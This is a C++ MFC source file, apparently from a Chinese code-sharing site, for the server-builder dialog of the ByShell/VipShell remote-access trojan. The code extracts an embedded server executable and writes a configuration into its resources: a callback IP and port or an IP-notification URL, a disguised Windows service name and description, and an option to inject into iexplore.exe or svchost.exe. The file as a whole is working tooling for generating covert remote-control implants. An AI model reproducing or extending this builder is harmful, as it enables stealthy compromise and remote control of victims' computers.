📄 makefiledlg.cpp
字号:
// MakeFileDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "VipClient.h"
#include "MakeFileDlg.h"
#include ".\makefiledlg.h"
#include <afxinet.h>
#include "iphelper.h"
#include "stdio.h"
// CMakeFileDlg 对话框
IMPLEMENT_DYNAMIC(CMakeFileDlg, CDialog)
CMakeFileDlg::CMakeFileDlg(CWnd* pParent /*=NULL*/)
: CDialog(CMakeFileDlg::IDD, pParent)
, m_strUrl(_T("http://www.xxx.com/ip.txt"))
, m_strExplain(_T("ByShell 1.09"))
, m_strIp(_T(""))
, m_strIp_Port("2007")
, m_strFileName(_T("SteelKernel32"))
, m_strServiceName("SteelKernel")
, m_strDisplayName("SteelKernel")
, m_strDescription("ByShell 服务端,远程监控管理.官方网站 www.SteelKernel.com")
//, m_strCFfile(_T("NULL"))
{
}
CMakeFileDlg::~CMakeFileDlg()
{
}
void CMakeFileDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Text(pDX, IDC_EDIT_URL, m_strUrl);
DDX_Text(pDX, IDC_EDIT_EXPLAIN, m_strExplain);
DDX_Text(pDX, IDC_EDIT_IP, m_strIp);
DDX_Text(pDX, IDC_EDIT_IP_PORT, m_strIp_Port);
DDX_Text(pDX, IDC_EDIT_FILENAME, m_strFileName);
DDX_Text(pDX, IDC_EDIT_SERVICENAME, m_strServiceName);
DDX_Text(pDX, IDC_EDIT_DISPLAYNAME, m_strDisplayName);
DDX_Text(pDX, IDC_EDIT_DESCRIPTION, m_strDescription);
DDX_Control(pDX, IDC_COMBO_URLDNS, m_ListURLDNS);
DDX_Control(pDX, IDC_COMBO_INJECT, m_ListINJECT);
}
BEGIN_MESSAGE_MAP(CMakeFileDlg, CDialog)
ON_BN_CLICKED(IDOK, OnBnClickedOk)
ON_CBN_SELCHANGE(IDC_COMBO_URLDNS, OnCbnSelchangeComboURLDNS)//OnCbnSelchangeComboURLDNS
//ON_CBN_SELCHANGE(IDC_COMBO_INJECT, OnCbnSelchangeComboINJECT)//OnCbnSelchangeComboINJECT
END_MESSAGE_MAP()
//bool CMakeFileDlg::SetVipShellConfig(LPCWSTR szFile, LPVIPSHELLCONFIG pCfg1)
//{
// VIPSHELLCONFIG tp;
// memcpy(&tp, pCfg1, sizeof(VIPSHELLCONFIG));
// LPVIPSHELLCONFIG pCfg =&tp;
// BYTE bByte;
// for(int i = 0 ; i < sizeof(VIPSHELLCONFIG); i++)
// {
// bByte = (BYTE)*((BYTE*)pCfg + i);
// bByte --;
// (BYTE)*((BYTE*)pCfg + i) = bByte;
// }
// FILE* fp = _wfopen(szFile, _T("ab"));
// if( !fp )
// return false;
// long loffset = 0 - sizeof(VIPSHELLCONFIG);
// int nRet = fseek(fp, loffset, SEEK_END);
//// if ( nRet != 0)
//// return false;
// fwrite(pCfg, 1, sizeof(VIPSHELLCONFIG), fp);
// fclose(fp);
// return true;
//}
// CMakeFileDlg 消息处理程序
bool CMakeFileDlg::MakeDll(LPCTSTR szDllFile)
{
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize, dwWritten;
LPBYTE p;
HANDLE hFile;
hResInfo = FindResourceA(NULL,"Exe","Server");
if (hResInfo == NULL)
return false;
// 获得资源尺寸
dwSize = SizeofResource(NULL, hResInfo);
// 装载资源
hResData = LoadResource(NULL, hResInfo);
if (hResData == NULL)
return false;
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL)
return false;
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
hFile = CreateFile(szDllFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != NULL)
WriteFile(hFile, (LPCVOID)p, dwSize, &dwWritten, NULL);
else
{
GlobalFree((HGLOBAL)p);
return false;
}
CloseHandle(hFile);
GlobalFree((HGLOBAL)p);
return true;
return true;
}
void CMakeFileDlg::OnBnClickedOk()
{
// TODO: 在此添加控件通知处理程序代码
UpdateData();
CFileDialog dlg(FALSE, L"exe", L"Server", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT , L"应用程序(*.exe)| *.exe|");
if(dlg.DoModal()!=IDOK)
return;
//if(m_strCFfile.CompareNoCase(L"NULL") == 0)
//{
// srand(GetTickCount());
// DWORD dwT = rand();
// m_strCFfile.Format(L"%d", dwT);
//}
//VIPSHELLCONFIG info;
if( !MakeDll(dlg.GetFileName()) )
{
return;
}
WCHAR szTmpPath[MAX_PATH]={0};
GetTempPath(MAX_PATH,szTmpPath);
lstrcat(szTmpPath,L"\\Config.dat");
WritePrivateProfileString(L"Config",L"Url",m_strUrl,szTmpPath);
WritePrivateProfileString(L"Config",L"Explain",m_strExplain,szTmpPath);
WritePrivateProfileString(L"Config",L"Ip",m_strIp,szTmpPath);
WritePrivateProfileString(L"Config",L"Ip_Port",m_strIp_Port,szTmpPath);
WritePrivateProfileString(L"Config",L"FileName",m_strFileName,szTmpPath);
WritePrivateProfileString(L"Config",L"ServiceName",m_strServiceName,szTmpPath);
WritePrivateProfileString(L"Config",L"DisplayName",m_strDisplayName,szTmpPath);
WritePrivateProfileString(L"Config",L"Description",m_strDescription,szTmpPath);
CString strText;
GetDlgItemText(IDC_COMBO_URLDNS, strText);
if ( strText == _T("FTP-IP通知方式连接"))
{
WritePrivateProfileString(L"Config",L"URLDNS",L"1",szTmpPath);
}
if ( strText == _T("IP或DNS域名直接连接"))
{
WritePrivateProfileString(L"Config",L"URLDNS",L"2",szTmpPath);
}
CString strTextInject;
GetDlgItemText(IDC_COMBO_INJECT, strTextInject);
if ( strTextInject == _T("注入iexplore.exe浏览器进程"))
{
WritePrivateProfileString(L"Config",L"Inject",L"1",szTmpPath);
}
if ( strTextInject == _T("注入svchost.exe系统进程"))
{
WritePrivateProfileString(L"Config",L"Inject",L"2",szTmpPath);
}
char TmpPath[MAX_PATH]={0};
GetTempPathA(MAX_PATH,TmpPath);
strcat(TmpPath,"\\Config.dat");
char Configer[3096]={0};
HANDLE hFile = NULL;
hFile = CreateFileA(TmpPath,GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
BYTE BufTmp[3096]={0};
memset(BufTmp,0,3096);
DWORD dwRead;
ReadFile(hFile,BufTmp,3096,&dwRead,NULL);
CloseHandle(hFile);
strcpy(Configer,(const char *) BufTmp);
HANDLE hDllFile;
hDllFile = BeginUpdateResource(dlg.GetFileName(),0);
UpdateResource(hDllFile,L"BY",L"BY",MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),Configer,strlen(Configer));
EndUpdateResource(hDllFile, 0);
DeleteFile(szTmpPath);
DeleteFileA(TmpPath);
//lstrcpy(info.szUrl, m_strUrl);
//lstrcpy(info.szExplain, m_strExplain);
//lstrcpy(info.szIp, m_strIp);
//lstrcpy(info.szIp_Port, m_strIp_Port);
//lstrcpy(info.szFileName, m_strFileName);
//lstrcpy(info.szServiceName, m_strServiceName);
//CString strText;
//GetDlgItemText(IDC_COMBO_URLDNS, strText);
//if ( strText == _T("FTP-IP通知方式连接"))
//{
//lstrcpy(info.szURLDNS, L"1");
//}
//if ( strText == _T("IP或DNS域名直接连接"))
//{
//lstrcpy(info.szURLDNS, L"2");
//}
//CString strTextInject;
//GetDlgItemText(IDC_COMBO_INJECT, strTextInject);
//if ( strTextInject == _T("注入iexplore.exe浏览器进程"))
//{
//lstrcpy(info.szInject, L"1");
//}
//if ( strTextInject == _T("注入svchost.exe系统进程"))
//{
//lstrcpy(info.szInject, L"2");
//}
//lstrcpy(info.szCfgFile,L"NULL");//CFfile
//if( !MakeDll(dlg.GetFileName()) )
// return;
//SetVipShellConfig(dlg.GetPathName(), &info);
//配置成功提示
MessageBox(L"服务端配置成功");
OnOK();
}
void CMakeFileDlg::OnCbnSelchangeComboURLDNS()
{
// TODO: 在此添加控件通知处理程序代码
CString strText;
GetDlgItemText(IDC_COMBO_URLDNS, strText);
if ( strText == _T("FTP-IP通知方式连接"))
{
//MessageBox(L"FTP-IP通知方式连接");
GetDlgItem(IDC_EDIT_URL)->EnableWindow(TRUE);
GetDlgItem(IDC_EDIT_IP)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_IP_PORT)->EnableWindow(FALSE);
}
if ( strText == _T("IP或DNS域名直接连接"))
{
//MessageBox(L"IP或DNS域名直接连接");
GetDlgItem(IDC_EDIT_URL)->EnableWindow(FALSE);
GetDlgItem(IDC_EDIT_IP)->EnableWindow(TRUE);
GetDlgItem(IDC_EDIT_IP_PORT)->EnableWindow(TRUE);
}
}
void CMakeFileDlg::OnCbnSelchangeComboINJECT()
{
// TODO: 在此添加控件通知处理程序代码
CString strText;
GetDlgItemText(IDC_COMBO_INJECT, strText);
if ( strText == _T("注入iexplore.exe浏览器进程"))
{
MessageBox(L"注入iexplore.exe浏览器进程");
}
if ( strText == _T("注入svchost.exe系统进程"))
{
MessageBox(L"注入svchost.exe系统进程");
}
}
BOOL CMakeFileDlg::OnInitDialog()
{
CDialog::OnInitDialog();
m_ListURLDNS.AddString(_T("FTP-IP通知方式连接"));
m_ListURLDNS.AddString(_T("IP或DNS域名直接连接"));
m_ListURLDNS.SelectString(0, _T("IP或DNS域名直接连接"));
GetDlgItem(IDC_EDIT_URL)->EnableWindow(FALSE);
m_ListINJECT.AddString(_T("注入iexplore.exe浏览器进程"));
m_ListINJECT.AddString(_T("注入svchost.exe系统进程"));
m_ListINJECT.SelectString(0, _T("注入iexplore.exe浏览器进程"));
WCHAR szIp[256] = {0};
_tcscpy(szIp, iphelper::basic::IP2Addr(iphelper::adapter::GetBestInterface(0)).c_str());
m_strIp = szIp;
UpdateData(FALSE);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -